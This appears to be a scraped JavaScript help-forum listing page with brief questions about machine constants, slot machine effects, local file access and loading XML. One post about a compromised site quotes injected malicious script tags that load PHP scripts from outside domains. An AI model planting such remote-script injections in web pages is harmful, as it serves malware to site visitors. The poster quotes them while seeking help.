Machine Constants In Javascript

Jun 2, 2007

I am writing some numerical math programs in Javascript (translating
from C++) and am seeking your advice regarding machine constants.

C++ offers the <cfloatlibrary for accessing machine constants such
as DBL_MIN and DBL_EPSILON. Does Javascript offer comparable values?
If not, can you suggest a method (brute force or otherwise) for
calculating these values myself (in Javascript)?

View 1 Replies


ADVERTISEMENT

Access Denied To Xml On Another Machine

Jul 23, 2005

My HTML page loads and alerts an XML document on another machine. If I
request the page by machine name or localhost there is no problem. If
i request by IP access denied error occurs.

I think this is because of that only the documents on same machine can
be loaded. Is there any way to load xml documents from another machine?

View 1 Replies View Related

Call Exe On Client Machine?

Jul 10, 2010

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head2" runat="server">
<title>Run Executable HTA</title>

[code].....

View 1 Replies View Related

Make A Slot Machine Effect In JS

Jan 18, 2010

I'm trying to make a slot machine effect in JS - i had an ajax example but was far too complicated to manipulate to communicate with my server so im working from ground up.

The way ive done it is simple html and a submit button.

But i want the submit button to first create a "rolling through the images" affect like a slot machine does - then stop left to right in that order (basically like a slot machine does).

Now this is beyond what i know in JS but i then also want it to know the result of the images store them into an array and push it to my PHP so i can process it on my server.

View 2 Replies View Related

Document Path On Local Machine

Jul 30, 2006

I have a js file embedded into additional files to make up the extension.

I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.

The js code like so:

runthefile: function(){

const path = "calc.exe"

var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)

file.initWithPath(path)
file.launch()
}

However, it doesn't seem to run calc.exe no matter where I put it. Code:

View 2 Replies View Related

AJAX :: Not Working When Run From Desktop Machine?

Sep 5, 2010

i followed my first AJAX tutorial on the web: [URL]

the AJAX is working fine on the site itself, but when i download the source codes provided with the tutorial, it won't run from my machine. i checked this with several tutorials and all same. i.e. no results when run from the desktop machine.

i tried with IE7 and ff 4.0

View 2 Replies View Related

Find The Information About Client Machine?

Oct 4, 2007

I need to find the information about Client machine by using Javascript : Information like : How much Avaliable sapce on clinet's machine ? Need to find RAM size . Operation System. Can we have any built in Active X control to get all these values ?

View 7 Replies View Related

Open A Filedialog On Client Side Machine

May 26, 2009

i want to open filedialog on client machine in javascript (in jsp page) ,Following is the code i have written but it is not working

var Frame = new java.awt.Frame();
var fd = new java.awt.FileDialog(Frame, "Browse File",java.awt.FileDialog.SAVE);
fd.toFront();
fd.show();
var getDirectory = new java.awt.FileDialog(Frame);
[Code]...

View 3 Replies View Related

Slot Machine Style Random Name Picker

Feb 26, 2009

i need a way to visually shuffle through a bunch of names and pick one at random. i found some code for a javascript slot machine and hacked at it.

the result is attached.

when you click on the logo, it's supposed to display 25 names then stop on the last one. instead, it just display undefined. i'm not exactly sure why, but i think that the spinem function can't access the array of names.

View 7 Replies View Related

Generate List Of Clients Machine Files?

Dec 5, 2002

I want to make an extensive browser/fileupload script inspired on windows Explorer... A server side listing of the files and directories with the home directory specified in the script and a listing of the clients files. The server side part can be found on http://vegeta.evilkalah.be ... The idea now is to make it possible to upload or download (maybe drag and drop) files from on side to the other. I don't know how I best make the client side. So on this part any help is welcome...

View 6 Replies View Related

Window Without Titlebar (for Html-based App On Public Machine)?

Feb 27, 2009

I'm about to start a project where the application is one used on a publicly accessed machine. It could be like, say, a ticket purchasing application in a kiosk machine; or maybe touch-screen app that tells grocery shoppers which aisle has coffee, etc.

So my question is, can javascript (or some other language?) be used to open a window without any controls (toolbars, menubars, titlebars, frame, etc) so that the user can't close the application (or resize, change, etc.)?

View 5 Replies View Related

Images On Local Machine Loading Very Slowly In Firefox

Oct 30, 2005

I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.

This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.

I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.

Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?

View 1 Replies View Related

Open XML File On Local Machine With HTML Page

Dec 1, 2010

I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.

Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;

function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.

View 1 Replies View Related

Uploading Files (PHP) To The Server From Local Machine Via Dreamweaver?

Feb 6, 2010

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:

HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>

[code]....

View 7 Replies View Related

AJAX :: In Gmail And Other Services - Uploads All The JS Files Into Client's Machine?

Nov 8, 2010

in Gmail (I've noticed it in other services too..)after you log in, progress bar appears. What does it do? Uploads all the JS(containing ajax) files into client's machine? or what?

View 1 Replies View Related

JQuery :: Load And Parse Remote Json File In Local Machine?

Jul 26, 2011

How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:

<
html>
<

[code].....

View 1 Replies View Related

Java Applet Development - Code To Check Whether JRE Is Installed On Client Machine?

Aug 19, 2009

Java Applet Development - JavaScript code to check whether JRE is installed on client machine.

View 4 Replies View Related

Dynamically Writing Html/javascript From A Javascript Function

Jul 23, 2005

I'm working on some code and am running into brick walls. I'm trying
to write out Javascript with Javascript and I've read the clj Meta FAQ
and didn't see the answer, read many similar posts (with no luck
though), and searched through the IRT.ORG Faqs
(www.irt.org/script/script.htm).

The Javascript is designed to open an popup window and then inside that
window call another script which will resize that window. There may be
another way around this but the reason I tried this approach initially
was that I wanted to call the onload handler in the popup window to
resize the image only after the image had completely loaded. I've had
some code in the primary Javascript file (showimage.js) before that
works if the image has been cached but on the first load, it doesn't
resize properly which tells me it is probably because it is trying to
resize the window based on the image size but it isn't completely known
at that point. So I removed that code and tried placing the resizing
code in the second Javascript file (resizewindow.js). BTW I've tried
other code to open a popup image and automatically size it ie Q1443 at
irt.org but that doesn't do exactly what we need.

Even if there is another way to do this with one file, I still want to
figure out why this isn't working in case I run into it in the future.

I thought what I would need to do to use document.writeln to write
Javascript would be to escape any special characters and to break
apart the script tag ie

document.writeln('</SCRIPT>');

would become

document.writeln('</SCR' + 'IPT>');

I have a HTML page and 2 Javascript files. All files are in the same
directory and have permissions set correctly.

Here are the 3 files (keep in mind wordwrap has jacked up the
formatting):

index.html
----------
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Test</title>
<SCRIPT type="text/javascript" LANGUAGE="JavaScript1.1"
SRC="showimage.js">
</SCRIPT>
</head>

<body>
Click the house<BR>
<A ONCLICK="newWindow1('house1.jpg','Nice House')"><IMG
SRC="house1thumb.jpg"></A>
</body>
</html>


showimage.js
------------
function newWindow1(pic,sitename)
{

picWindow=window.open('','','width=25,height=25,sc rollbars=1,resizable=1');
picWindow.document.writeln('<html> <head>');
picWindow.document.writeln('<SCR' + 'IPT type="text/javascript"
LANGUAGE="JavaScript1.1" SRC="resizewindow.js"></SCR' + 'IPT>');
picWindow.document.writeln('</head>');
picWindow.document.writeln('<body onload="resizewindow();">');
picWindow.document.writeln('<img src=' + pic + '>');
picWindow.document.writeln('</body> </html>');
picWindow.document.close();
}

resizewindow.js
---------------
function resizewindow()
{
// Do resizing here.
// Right now this isn't being executed
alert("resizing window");
}


Can anyone provide some pointers as to why this javascript is failing?
I'm using IE6 on Win2k and when I click on the image to open the popup
window, it does open the window but it is white with no content and the
system immediately goes from about 4% CPU usage to 100% and
consistently stays there until I kill that window with the task
manager.

View 9 Replies View Related

DOM Javascript - Imbed Javascript In Dynamically Added Row

Jul 23, 2005

Attached is a simple HTML file that adds and delete rows. In the add
row function I set an attribute "onClick" this triggers the
testMessage() function. When I try this in Firefox it works just fine
however on IE it just refuses to work.

What is interseting is the ROW that already exists has a similar
'onClick' event which works when the page is loaded, but subsequent
"row" additions to the table to not work in IE. Code:

View 9 Replies View Related

Text/javascript, Application/x-javascript, Difference?

Feb 19, 2007

two possibilities or the attribute type of script:

text/javascript (the one i usually use) application/x-javascript

what are the differencies between both?

depends on the html content?

for example html 4.0.1 versus xhtml 1.1?

View 12 Replies View Related

Javascript Function Has No Properties In Javascript Console

May 25, 2005

I'm getting errors in Firefox everytime I try to run this frame resize code, but it works fine in IE. I can't seem to figure out what the problem is with it.

The error is: Error: theFrame has no properties
Line: 8

The line that the javascript console is showing an error for is in italics.

code from page:

<html>
<head>
<script type="text/javascript">
var defaultCols="100px,*";
var hiddenCols="0px,*";
function ShowHideMenu(){
theFrame = document.getElementById("framed");
if(theFrame.cols == defaultCols) theFrame.cols=hiddenCols;
else theFrame.cols=defaultCols;
}
</script>
<frameset cols="100px,*" name="framed">
<frame src="lframe.htm" name="frameMenu">
<frame src="mframe.htm" name="content">
</frameset>
</head>
<body>
</body></html>

Come someone let me know what I'm doing wrong here?

View 2 Replies View Related

'Javascript Anthology' Or 'Professional Javascript For Web Developers'?

Mar 30, 2006

I'm already past the basics of Javascript, and i need something that takes me to the other level and teaches me the new technologies and cool stuff (drag&drop, AJAX, OOP in javascript, maybe XUL...etc). So far i found these two books:

1. Sitepoint's "The JavaScript Anthology: 101 Essential Tips, Tricks & Hacks".
2. Worx's "Professional JavaScript for Web Developers (Wrox Professional Guides)"

Both seems to cover very insteresting topics, but i can only buy one of them. So which one do you suggest?

and by the way, i've read the sample chapter 5 of Sitepoint's book, and it seems like the author(s) just put the solutions/codes there and let you figure them out on your own. Is this how the rest of the chapters are?

View 3 Replies View Related

Nixing Javascript Via Javascript: Pseudoproto?

Jul 23, 2005

This is a question about defensive web browsing. Ocassionally I run into a page whose JavaScript does something that I find obnoxious. I would like to turn off JavaScript only for that page (instead of disabling it globally). It would be cool if there were some way to do this through a "bookmarkable" JavaScript snippet using the javascript: pseudoprotocol. Does anyone know any trick to do any of this?

View 2 Replies View Related

Extract Links From Javascript (not Using Javascript)?

May 26, 2006

I am looking for a method to extract the links embedded within the
Javascript in a web page: an ActiveX component, or example code in
C++/Pascal/etc. I am looking for a general solution, not one tailored
to a particular page/script.

Hopefully, the problem can be solved without recreating a complete
Javascript interpreter. Any ideas?

View 9 Replies View Related

Turn A Javascript Into A Javascript Function?

Oct 21, 2005

I have some javascript that I have written into the <body> section and it works great. But I would like to make it into a javascript function and define the function in the <head> section. Then in the <body> section write a small bit of javascript that would call the function() object. Code:

View 2 Replies View Related

How To Insert Javascript Code Within Javascript?

Jan 7, 2006

I would like to know how to write javascript such that, a part of it isnt considered as script, & rather as HTML. Code:

Ok, the layer div can be written using document.write. But, Google ad itself is a javascript isnt it. How can it be written into this? How does this work?

View 3 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved